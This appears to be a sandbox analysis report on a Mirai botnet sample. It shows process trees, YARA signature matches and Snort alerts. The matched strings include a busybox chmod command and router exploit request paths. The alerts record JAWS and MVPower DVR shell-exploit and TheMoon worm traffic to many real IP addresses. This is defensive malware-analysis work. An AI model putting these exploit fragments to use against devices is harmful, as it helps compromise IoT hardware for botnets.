sh New Fork (PID: 11535, Parent: 11533)

sort (PID: 11535, Parent: 11533, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11537, Parent: 11393)

sleep (PID: 11537, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11561, Parent: 11393)

sh New Fork (PID: 11562, Parent: 11561)

sed (PID: 11562, Parent: 11561, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11563, Parent: 11561)

sort (PID: 11563, Parent: 11561, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11565, Parent: 11393)

sleep (PID: 11565, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11569, Parent: 11393)

sh New Fork (PID: 11570, Parent: 11569)

sed (PID: 11570, Parent: 11569, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11571, Parent: 11569)

sort (PID: 11571, Parent: 11569, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11573, Parent: 11393)

sleep (PID: 11573, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11597, Parent: 11393)

sh New Fork (PID: 11598, Parent: 11597)

sed (PID: 11598, Parent: 11597, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11599, Parent: 11597)

sort (PID: 11599, Parent: 11597, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11601, Parent: 11393)

sleep (PID: 11601, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11609, Parent: 11393)

sh New Fork (PID: 11610, Parent: 11609)

sed (PID: 11610, Parent: 11609, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11611, Parent: 11609)

sort (PID: 11611, Parent: 11609, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11613, Parent: 11393)

sleep (PID: 11613, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11625, Parent: 11393)

sh New Fork (PID: 11626, Parent: 11625)

sed (PID: 11626, Parent: 11625, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11627, Parent: 11625)

sort (PID: 11627, Parent: 11625, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11629, Parent: 11393)

sleep (PID: 11629, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11633, Parent: 11393)

sh New Fork (PID: 11634, Parent: 11633)

sed (PID: 11634, Parent: 11633, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11635, Parent: 11633)

sort (PID: 11635, Parent: 11633, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11637, Parent: 11393)

sleep (PID: 11637, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11641, Parent: 11393)

sh New Fork (PID: 11642, Parent: 11641)

sed (PID: 11642, Parent: 11641, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11643, Parent: 11641)

sort (PID: 11643, Parent: 11641, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11647, Parent: 11393)

sleep (PID: 11647, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11649, Parent: 11393)

sh New Fork (PID: 11650, Parent: 11649)

sed (PID: 11650, Parent: 11649, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11651, Parent: 11649)

sort (PID: 11651, Parent: 11649, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11655, Parent: 11393)

sleep (PID: 11655, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11665, Parent: 11393)

sh New Fork (PID: 11666, Parent: 11665)

sed (PID: 11666, Parent: 11665, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11667, Parent: 11665)

sort (PID: 11667, Parent: 11665, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11669, Parent: 11393)

sleep (PID: 11669, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11681, Parent: 11393)

sh New Fork (PID: 11682, Parent: 11681)

sed (PID: 11682, Parent: 11681, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11683, Parent: 11681)

sort (PID: 11683, Parent: 11681, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11684, Parent: 11393)

sleep (PID: 11684, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11697, Parent: 11393)

sh New Fork (PID: 11698, Parent: 11697)

sed (PID: 11698, Parent: 11697, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11699, Parent: 11697)

sort (PID: 11699, Parent: 11697, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11700, Parent: 11393)

sleep (PID: 11700, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11721, Parent: 11393)

sh New Fork (PID: 11722, Parent: 11721)

sed (PID: 11722, Parent: 11721, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11723, Parent: 11721)

sort (PID: 11723, Parent: 11721, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11725, Parent: 11393)

sleep (PID: 11725, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11737, Parent: 11393)

sh New Fork (PID: 11738, Parent: 11737)

sed (PID: 11738, Parent: 11737, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11739, Parent: 11737)

sort (PID: 11739, Parent: 11737, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11741, Parent: 11393)

sleep (PID: 11741, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11745, Parent: 11393)

sh New Fork (PID: 11746, Parent: 11745)

sed (PID: 11746, Parent: 11745, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11747, Parent: 11745)

sort (PID: 11747, Parent: 11745, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11749, Parent: 11393)

sleep (PID: 11749, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11765, Parent: 11393)

sh New Fork (PID: 11766, Parent: 11765)

sed (PID: 11766, Parent: 11765, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11767, Parent: 11765)

sort (PID: 11767, Parent: 11765, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11769, Parent: 11393)

sleep (PID: 11769, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11773, Parent: 11393)

sh New Fork (PID: 11774, Parent: 11773)

sed (PID: 11774, Parent: 11773, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11775, Parent: 11773)

sort (PID: 11775, Parent: 11773, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11777, Parent: 11393)

sleep (PID: 11777, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11781, Parent: 11393)

sh New Fork (PID: 11782, Parent: 11781)

sed (PID: 11782, Parent: 11781, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11783, Parent: 11781)

sort (PID: 11783, Parent: 11781, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11785, Parent: 11393)

sleep (PID: 11785, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11797, Parent: 11393)

sh New Fork (PID: 11798, Parent: 11797)

sed (PID: 11798, Parent: 11797, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11799, Parent: 11797)

sort (PID: 11799, Parent: 11797, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11801, Parent: 11393)

sleep (PID: 11801, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11809, Parent: 11393)

sed (PID: 11809, Parent: 11393, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DOMAINS=/ { s/^.*=/search /; p}" /run/systemd/netif/state

sh New Fork (PID: 11810, Parent: 11393)

resolvconf (PID: 11810, Parent: 11393, MD5: 4e4ff2bfda7a6d18405a462937b63a2e) Arguments: /bin/sh /sbin/resolvconf -a networkd

resolvconf New Fork (PID: 11812, Parent: 11810)

mkdir (PID: 11812, Parent: 11810, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /run/resolvconf/interface

resolvconf New Fork (PID: 11813, Parent: 11810)

resolvconf New Fork (PID: 11814, Parent: 11813)

sed (PID: 11814, Parent: 11813, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/#.*$// -e s/[[:blank:]]\\+$// -e s/^[[:blank:]]\\+// -e "s/[[:blank:]]\\+/ /g" -e "/^nameserver/!b ENDOFCYCLE" -e "s/$/ /" -e "s/\$[:. ]\$0\\+/\\10/g" -e "s/\$[:. ]\$0\$[123456789abcdefABCDEF][[:xdigit:]]*\$/\\1\\2/g" -e "/::/b ENDOFCYCLE; s/ \$0[: ]\$\\+/ ::/" -e "/::/b ENDOFCYCLE; s/:\$0[: ]\$\\+/::/" -e ": ENDOFCYCLE" -

resolvconf New Fork (PID: 11815, Parent: 11813)

sed (PID: 11815, Parent: 11813, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/[[:blank:]]\\+$// -e /^$/d

systemd New Fork (PID: 11514, Parent: 1)

systemd-networkd (PID: 11514, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11550, Parent: 1)

systemd-networkd (PID: 11550, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11586, Parent: 1)

systemd-networkd (PID: 11586, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11710, Parent: 1)

systemd-networkd (PID: 11710, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11754, Parent: 1)

systemd-networkd (PID: 11754, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ettmalware2	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x10820:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10890:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10900:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10970:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x109e0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10c50:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10ca4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10cf8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10d4c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10da0:$xo1: oMXKNNC\x0D\x17\x0C\x12
ettmalware2	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xf41d:$x1: POST /cdn-cgi/ 0x10687:$s1: LCOGQGPTGP
ettmalware2	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1011b:$x2: /bin/busybox chmod 777 * /tmp/ 0xfe80:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xf41d:$s3: POST /cdn-cgi/
ettmalware2	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
ettmalware2	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
ettmalware2	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6813.1.000000000901f000.0000000009020000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x598:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x610:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x688:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x700:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x778:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa08:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa60:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xab8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb10:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb68:$xo1: oMXKNNC\x0D\x17\x0C\x12
6817.1.000000000901f000.0000000009020000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x598:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x610:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x688:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x700:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x778:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa08:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa60:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xab8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb10:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb68:$xo1: oMXKNNC\x0D\x17\x0C\x12
6806.1.000000000901f000.0000000009020000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x598:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x610:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x688:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x700:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x778:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa08:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xa60:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xab8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb10:$xo1: oMXKNNC\x0D\x17\x0C\x12 0xb68:$xo1: oMXKNNC\x0D\x17\x0C\x12
6806.1.0000000008048000.000000000805a000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x10820:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10890:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10900:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10970:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x109e0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10c50:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10ca4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10cf8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10d4c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10da0:$xo1: oMXKNNC\x0D\x17\x0C\x12
6806.1.0000000008048000.000000000805a000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xf41d:$x1: POST /cdn-cgi/ 0x10687:$s1: LCOGQGPTGP
6806.1.0000000008048000.000000000805a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1011b:$x2: /bin/busybox chmod 777 * /tmp/ 0xfe80:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xf41d:$s3: POST /cdn-cgi/
6806.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6806.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6806.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6817.1.0000000008048000.000000000805a000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x10820:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10890:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10900:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10970:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x109e0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10c50:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10ca4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10cf8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10d4c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10da0:$xo1: oMXKNNC\x0D\x17\x0C\x12
6817.1.0000000008048000.000000000805a000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xf41d:$x1: POST /cdn-cgi/ 0x10687:$s1: LCOGQGPTGP
6817.1.0000000008048000.000000000805a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1011b:$x2: /bin/busybox chmod 777 * /tmp/ 0xfe80:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xf41d:$s3: POST /cdn-cgi/
6817.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6817.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6817.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6813.1.0000000008048000.000000000805a000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x10820:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10890:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10900:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10970:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x109e0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10c50:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10ca4:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10cf8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10d4c:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x10da0:$xo1: oMXKNNC\x0D\x17\x0C\x12
6813.1.0000000008048000.000000000805a000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xf41d:$x1: POST /cdn-cgi/ 0x10687:$s1: LCOGQGPTGP
6813.1.0000000008048000.000000000805a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1011b:$x2: /bin/busybox chmod 777 * /tmp/ 0xfe80:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xf41d:$s3: POST /cdn-cgi/
6813.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6813.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6813.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 16 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ettmalware2

Avira: detected

Multi AV Scanner detection for submitted file

Source: ettmalware2	Virustotal: Detection: 62%	Perma Link
Source: ettmalware2	Metadefender: Detection: 45%	Perma Link
Source: ettmalware2	ReversingLabs: Detection: 74%

Machine Learning detection for sample

Source: ettmalware2

Joe Sandbox ML: detected

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33358 -> 89.43.86.76:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:43176 -> 172.67.237.248:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:32826 -> 128.143.106.101:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33358 -> 89.43.86.76:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48174 -> 153.127.251.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34908 -> 94.248.127.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:34908 -> 94.248.127.33:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54138 -> 103.79.79.64:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:54138 -> 103.79.79.64:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42364 -> 150.60.80.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54218 -> 37.151.63.197:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:38886 -> 172.67.239.136:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:32970 -> 172.67.162.71:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38666 -> 159.65.48.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53010 -> 5.133.209.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56172 -> 103.95.207.120:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:41150 -> 156.252.196.199:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:38666 -> 159.65.48.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:47874 -> 204.127.233.111:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48562 -> 178.242.185.52:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:47874 -> 204.127.233.111:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:48562 -> 178.242.185.52:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51506 -> 112.126.149.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:44558 -> 35.214.228.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57302 -> 93.41.154.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:57302 -> 93.41.154.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33792 -> 35.153.46.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40698 -> 114.4.166.122:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33792 -> 35.153.46.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51624 -> 112.126.149.209:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 114.4.166.122:80 -> 192.168.2.20:40698
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:51364 -> 172.65.1.162:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49080 -> 116.203.11.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54490 -> 23.50.154.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:49080 -> 116.203.11.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:32946 -> 5.45.125.214:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.50.154.8:80 -> 192.168.2.20:54490
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:54490 -> 23.50.154.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57968 -> 108.46.145.112:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36926 -> 23.73.42.185:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46394 -> 173.254.50.86:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53650 -> 23.217.133.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46852 -> 69.70.74.142:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.73.42.185:80 -> 192.168.2.20:36926
